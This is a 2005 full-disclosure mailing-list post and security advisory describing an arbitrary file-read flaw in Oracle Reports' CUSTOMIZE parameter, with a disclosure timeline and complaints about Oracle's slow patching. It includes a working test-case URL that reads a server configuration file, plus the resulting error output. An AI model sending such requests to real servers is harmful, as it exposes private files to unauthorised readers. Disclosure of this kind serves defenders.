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Date: Tue Jul 19 13:45:39 2005
From: ak at red-database-security.com (Kornbrust, Alexander)
Subject: Oracle Advisory: Read parts of any XML-file via
	customize parameter in Oracle Reports

Hello

3 months ago (15-april-2005) I informed the Oracle Security Team
(secalert_us@...cle.com) that I will publish bug details if the bugs are
not fixed with the next critical patch update (CPU July 2005). I know
that Oracle products are complex and a good patch quality need some
time. That's why I offered Oracle additional time if 3 months are not
sufficient for fixing the bugs. Oracle never asked for more time.

Oracle's behaviour not fixing critical security bugs for a long time
(over 650 days) is not acceptable for their customers. Oracle put their
customers in danger. At least one critical vulnerability can be abused
from any attacker via internet.

I decided to publish these vulnerabilities because it is possible to
mitigate the risk of these vulnerabilities by using the workarounds
provided in the advisories.


Kind Regards

 Alexander Kornbrust

 www.red-database-security.com

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Red-Database-Security GmbH  - Oracle Security Advisory

Read parts of any XML-file via customize parameter in Oracle Reports


 Name                Read parts of any XML-file via customize parameter
in
                     Oracle Reports
 Systems Affected    All version of Oracle Reports
 Severity            Medium Risk 
 Category            Information disclosure
 Vendor URL          http://www.oracle.com 
 Author              Alexander Kornbrust (ak at
red-database-security.com) 
 Date                19 July 2005 (V 1.00) 
 Advisory            AKSEC2003-007
 Inital bug report   693 days ago
 Advisory-URL       
http://www.red-database-security.com/advisory/oracle_reports_read_any_xm
l_file.html



Details
#######
Oracle Reports is Oracle's award-winning, high-fidelity enterprise
reporting
tool. It enables businesses to give immediate acces to information to
all levels within and outside of the organization in an unrivaled
scalable and secure environment. Oracle Reports, a component of the
Oracle Application Server, is used by Oracle itself for the E-Business
Suite. Many large customers are using Oracle Reports as reporting tool
for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an
absolute or relative file name.
Parts of the file content are displayed in the Reports error message
(see test case).



Testcase
########
http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+u
serid=scott/tiger@...db+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACL
E/ias/oracle/product/9.0.2/webcache/webcache.xml

***Reports Output****

REP--866648059: Error in the XML report definition at line 3 in
'
Element 'CALYPSO' used but not declared.'.

***Reports Output****

 


Workarounds
###########
Available at
http://www.red-database-security.com/advisory/oracle_reports_read_any_xm
l_file.html

 

Affected systems
################
All versions of Oracle Reports are affected.



Patch Information
#################
This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July
2005). It seems that Oracle is NOT INTERESTED to fix this issue and
provide patches for this issue. 
If you think you need a patch to protect your Oracle Application Server
you
should contact Oracle.


History
#######
26-aug-2003 Oracle secalert was informed

27-aug-2003 Bug confirmed

15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security
offered 
Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.

12-jul-2005 Oracle published CPU July 2005 without fixing this issue

19-jul-2005 Red-Database-Security published this advisory




(c) 2005 by Red-Database-Security GmbH - last update 19-july-2005

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